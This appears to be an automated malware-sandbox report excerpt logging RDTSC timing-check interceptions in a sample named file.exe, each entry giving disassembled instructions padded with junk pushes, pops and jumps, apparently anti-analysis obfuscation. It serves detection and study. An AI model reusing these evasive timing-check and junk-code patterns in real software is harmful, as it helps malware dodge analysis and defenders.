Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738795 second address: 7387A9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1AA0DFCFD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F1AA0DFCFE2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7387A9 second address: 7387AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A548 second address: 73A54C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60C78 second address: 4E60C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0B73DC4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60C90 second address: 4E60CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F1AA0DFCFE8h 0x00000014 adc si, D0A8h 0x00000019 jmp 00007F1AA0DFCFDBh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60CCA second address: 4E60CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60CCF second address: 4E60CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60CD5 second address: 4E60CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50B09 second address: 4E50BD7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1AA0DFCFE2h 0x00000008 or ax, EAB8h 0x0000000d jmp 00007F1AA0DFCFDBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushfd 0x00000017 jmp 00007F1AA0DFCFDFh 0x0000001c add esi, 11739C7Eh 0x00000022 jmp 00007F1AA0DFCFE9h 0x00000027 popfd 0x00000028 pop eax 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F1AA0DFCFDCh 0x00000032 or ax, 0F78h 0x00000037 jmp 00007F1AA0DFCFDBh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F1AA0DFCFE8h 0x00000043 or si, A9D8h 0x00000048 jmp 00007F1AA0DFCFDBh 0x0000004d popfd 0x0000004e popad 0x0000004f xchg eax, ebp 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 pushfd 0x00000054 jmp 00007F1AA0DFCFE2h 0x00000059 or cx, F438h 0x0000005e jmp 00007F1AA0DFCFDBh 0x00000063 popfd 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908A9 second address: 4E908D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F1AA0B73DBDh 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1AA0B73DBDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3012D second address: 4E30145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1AA0DFCFE3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30145 second address: 4E301B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1AA0B73DC7h 0x00000011 adc ecx, 57BA162Eh 0x00000017 jmp 00007F1AA0B73DC9h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1AA0B73DC8h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E301B8 second address: 4E301F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov al, bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F1AA0DFCFE4h 0x00000012 push dword ptr [ebp+04h] 0x00000015 jmp 00007F1AA0DFCFE0h 0x0000001a push dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e mov ax, F7BDh 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50495 second address: 4E50499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50499 second address: 4E5049F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5049F second address: 4E5050E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 call 00007F1AA0B73DC8h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F1AA0B73DC0h 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F1AA0B73DC0h 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F1AA0B73DBEh 0x00000023 and cx, 8BB8h 0x00000028 jmp 00007F1AA0B73DBBh 0x0000002d popfd 0x0000002e mov edx, eax 0x00000030 popad 0x00000031 pop ebp 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 pop edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50439 second address: 4E5044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5022A second address: 4E5025F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F1AA0B73DBEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, di 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50F53 second address: 4E50F6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90781 second address: 4E9078E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 mov edx, 250C341Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9078E second address: 4E907DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F1AA0DFCFE8h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F1AA0DFCFDBh 0x00000018 or ax, 36FEh 0x0000001d jmp 00007F1AA0DFCFE9h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70015 second address: 4E7001B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7001B second address: 4E7005F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1AA0DFCFE6h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ax, dx 0x00000016 mov si, di 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, E0D7h 0x00000022 mov ebx, eax 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7005F second address: 4E7009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1AA0B73DC8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7009A second address: 4E7009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7009E second address: 4E700A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700A4 second address: 4E700D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 call 00007F1AA0DFCFE9h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1AA0DFCFDAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700D6 second address: 4E70157 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c pushad 0x0000000d call 00007F1AA0B73DC4h 0x00000012 jmp 00007F1AA0B73DC2h 0x00000017 pop ecx 0x00000018 pushfd 0x00000019 jmp 00007F1AA0B73DBBh 0x0000001e sbb ah, 0000000Eh 0x00000021 jmp 00007F1AA0B73DC9h 0x00000026 popfd 0x00000027 popad 0x00000028 and dword ptr [eax+04h], 00000000h 0x0000002c jmp 00007F1AA0B73DBEh 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov cx, bx 0x00000038 movsx edi, ax 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50363 second address: 4E50367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50367 second address: 4E50384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50384 second address: 4E5038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5038A second address: 4E5038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5038E second address: 4E503BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1AA0DFCFE5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B84 second address: 4E60B8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B8A second address: 4E60B9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B9B second address: 4E60B9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9002A second address: 4E90046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90046 second address: 4E900B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dl 0x00000005 pushfd 0x00000006 jmp 00007F1AA0B73DBAh 0x0000000b jmp 00007F1AA0B73DC5h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 call 00007F1AA0B73DBCh 0x0000001b pushfd 0x0000001c jmp 00007F1AA0B73DC2h 0x00000021 and esi, 6A4311A8h 0x00000027 jmp 00007F1AA0B73DBBh 0x0000002c popfd 0x0000002d pop ecx 0x0000002e mov esi, ebx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov edx, ecx 0x00000038 mov si, 0F8Fh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E900B2 second address: 4E900C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0DFCFE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E900C6 second address: 4E90107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1AA0B73DBBh 0x00000015 add ah, FFFFFFFEh 0x00000018 jmp 00007F1AA0B73DC9h 0x0000001d popfd 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90107 second address: 4E90165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 mov ax, 0455h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F1AA0DFCFDBh 0x00000013 xchg eax, ecx 0x00000014 jmp 00007F1AA0DFCFE6h 0x00000019 mov eax, dword ptr [76FA65FCh] 0x0000001e pushad 0x0000001f mov bx, si 0x00000022 popad 0x00000023 test eax, eax 0x00000025 pushad 0x00000026 push edx 0x00000027 movzx eax, di 0x0000002a pop edi 0x0000002b movzx ecx, di 0x0000002e popad 0x0000002f je 00007F1B12E907EFh 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F1AA0DFCFE0h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90165 second address: 4E90180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b pushad 0x0000000c mov ecx, 4DD626FBh 0x00000011 push eax 0x00000012 push edx 0x00000013 mov edx, ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90180 second address: 4E901D6 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7DA9h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov cx, bx 0x00000010 pushfd 0x00000011 jmp 00007F1AA0DFCFE7h 0x00000016 xor cx, DC8Eh 0x0000001b jmp 00007F1AA0DFCFE9h 0x00000020 popfd 0x00000021 popad 0x00000022 and ecx, 1Fh 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push ebx 0x00000029 pop ecx 0x0000002a mov edi, 31DB86FAh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E901D6 second address: 4E9023C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b jmp 00007F1AA0B73DC0h 0x00000010 leave 0x00000011 jmp 00007F1AA0B73DC0h 0x00000016 retn 0004h 0x00000019 nop 0x0000001a mov esi, eax 0x0000001c lea eax, dword ptr [ebp-08h] 0x0000001f xor esi, dword ptr [004A2014h] 0x00000025 push eax 0x00000026 push eax 0x00000027 push eax 0x00000028 lea eax, dword ptr [ebp-10h] 0x0000002b push eax 0x0000002c call 00007F1AA55A3F06h 0x00000031 push FFFFFFFEh 0x00000033 jmp 00007F1AA0B73DC0h 0x00000038 pop eax 0x00000039 jmp 00007F1AA0B73DC0h 0x0000003e ret 0x0000003f nop 0x00000040 push eax 0x00000041 call 00007F1AA55A3F23h 0x00000046 mov edi, edi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9023C second address: 4E90240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90240 second address: 4E90244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90244 second address: 4E9024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9024A second address: 4E90277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F1AA0B73DC8h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, ax 0x00000017 mov edi, ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90277 second address: 4E9027D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9027D second address: 4E90281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90281 second address: 4E902BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, ax 0x0000000e mov si, F5E7h 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx ebx, cx 0x0000001a pushfd 0x0000001b jmp 00007F1AA0DFCFE0h 0x00000020 add eax, 076CF548h 0x00000026 jmp 00007F1AA0DFCFDBh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4005B second address: 4E40060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40060 second address: 4E400A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1AA0DFCFE7h 0x0000000a xor si, C53Eh 0x0000000f jmp 00007F1AA0DFCFE9h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov al, dl 0x0000001e mov dx, ax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400A8 second address: 4E400AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400AE second address: 4E400B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400B2 second address: 4E400F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1AA0B73DC5h 0x00000011 adc ax, F0D6h 0x00000016 jmp 00007F1AA0B73DC1h 0x0000001b popfd 0x0000001c mov dx, ax 0x0000001f popad 0x00000020 and esp, FFFFFFF8h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400F7 second address: 4E400FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400FB second address: 4E40101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40101 second address: 4E40107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40107 second address: 4E4015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F1AA0B73DC4h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F1AA0B73DBCh 0x00000018 sbb cl, FFFFFF88h 0x0000001b jmp 00007F1AA0B73DBBh 0x00000020 popfd 0x00000021 jmp 00007F1AA0B73DC8h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4015D second address: 4E40184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1AA0DFCFE5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40184 second address: 4E40194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1AA0B73DBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40194 second address: 4E401C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov si, 3B89h 0x0000000e mov ecx, 5AAB0745h 0x00000013 popad 0x00000014 mov dword ptr [esp], ebx 0x00000017 jmp 00007F1AA0DFCFE0h 0x0000001c mov ebx, dword ptr [ebp+10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401C4 second address: 4E401C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401C8 second address: 4E401CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401CC second address: 4E401D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E401D2 second address: 4E40204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0DFCFE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1AA0DFCFE7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40204 second address: 4E4020A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4020A second address: 4E4020E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4020E second address: 4E40212 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40212 second address: 4E40278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov dx, si 0x0000000d movzx esi, dx 0x00000010 popad 0x00000011 xchg eax, esi 0x00000012 pushad 0x00000013 call 00007F1AA0DFCFE1h 0x00000018 mov cx, 5437h 0x0000001c pop esi 0x0000001d push ebx 0x0000001e pushad 0x0000001f popad 0x00000020 pop esi 0x00000021 popad 0x00000022 mov esi, dword ptr [ebp+08h] 0x00000025 jmp 00007F1AA0DFCFE5h 0x0000002a xchg eax, edi 0x0000002b jmp 00007F1AA0DFCFDEh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F1AA0DFCFDEh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40278 second address: 4E4029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1AA0B73DBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1AA0B73DC5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4029F second address: 4E402A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
